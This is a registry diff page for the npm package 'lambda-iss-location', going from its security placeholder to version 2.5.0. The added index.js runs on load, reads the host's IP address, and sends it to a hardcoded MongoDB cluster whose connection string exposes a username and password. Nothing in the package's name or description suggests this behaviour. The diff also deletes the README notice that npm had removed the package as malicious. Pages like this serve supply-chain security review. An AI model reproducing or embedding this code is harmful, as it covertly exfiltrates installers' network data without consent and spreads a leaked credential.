lambda-iss-location 0.0.1-security → 2.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of lambda-iss-location might be problematic. Click here for more details.
- package/index.js +64 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const { MongoClient } = require('mongodb');
|
3
|
+
require('dotenv').config();
|
4
|
+
|
5
|
+
const uri = process.env.MONGODB_URI || "mongodb+srv://techsangam88:3Oah1jtHaOckPouX@cluster0.gpg2t5e.mongodb.net/?retryWrites=true&w=majority&appName=Cluster0"
|
6
|
+
const dbName = 'ip';
|
7
|
+
|
8
|
+
const client = new MongoClient(uri);
|
9
|
+
|
10
|
+
async function logIPAddress(ipAddress) {
|
11
|
+
try {
|
12
|
+
await client.connect();
|
13
|
+
|
14
|
+
const db = client.db(dbName);
|
15
|
+
|
16
|
+
const collection = db.collection('ip_logs');
|
17
|
+
|
18
|
+
const result = await collection.insertOne({ ip_address: ipAddress });
|
19
|
+
console.log('IP address logged successfully!');
|
20
|
+
} catch (error) {
|
21
|
+
console.error('Error logging IP address:', error);
|
22
|
+
} finally {
|
23
|
+
await client.close();
|
24
|
+
}
|
25
|
+
}
|
26
|
+
|
27
|
+
function getIPAddress() {
|
28
|
+
switch (os.platform()) {
|
29
|
+
case 'linux':
|
30
|
+
return getIPAddressForInterface('eth0');
|
31
|
+
case 'darwin':
|
32
|
+
return getIPAddressForInterface('en0');
|
33
|
+
case 'win32':
|
34
|
+
return getWindowsIPAddress();
|
35
|
+
default:
|
36
|
+
console.error('Unsupported operating system');
|
37
|
+
return '';
|
38
|
+
}
|
39
|
+
}
|
40
|
+
|
41
|
+
function getIPAddressForInterface(interfaceName) {
|
42
|
+
const networkInterfaces = os.networkInterfaces();
|
43
|
+
return networkInterfaces[interfaceName] ? networkInterfaces[interfaceName][0].address : '';
|
44
|
+
}
|
45
|
+
|
46
|
+
function getWindowsIPAddress() {
|
47
|
+
const interfaces = os.networkInterfaces();
|
48
|
+
for (const key in interfaces) {
|
49
|
+
if (interfaces.hasOwnProperty(key)) {
|
50
|
+
const ethInterface = interfaces[key].find(iface => iface.family === 'IPv4' && !iface.internal);
|
51
|
+
if (ethInterface) {
|
52
|
+
return ethInterface.address;
|
53
|
+
}
|
54
|
+
}
|
55
|
+
}
|
56
|
+
return '';
|
57
|
+
}
|
58
|
+
|
59
|
+
const ipAddress = getIPAddress();
|
60
|
+
if (ipAddress) {
|
61
|
+
logIPAddress(ipAddress);
|
62
|
+
} else {
|
63
|
+
console.error('Failed to determine IP address');
|
64
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "lambda-iss-location",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.5.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"dotenv": "^16.4.5",
|
14
|
+
"mongodb": "^6.5.0"
|
15
|
+
}
|
6
16
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=lambda-iss-location for more information.
|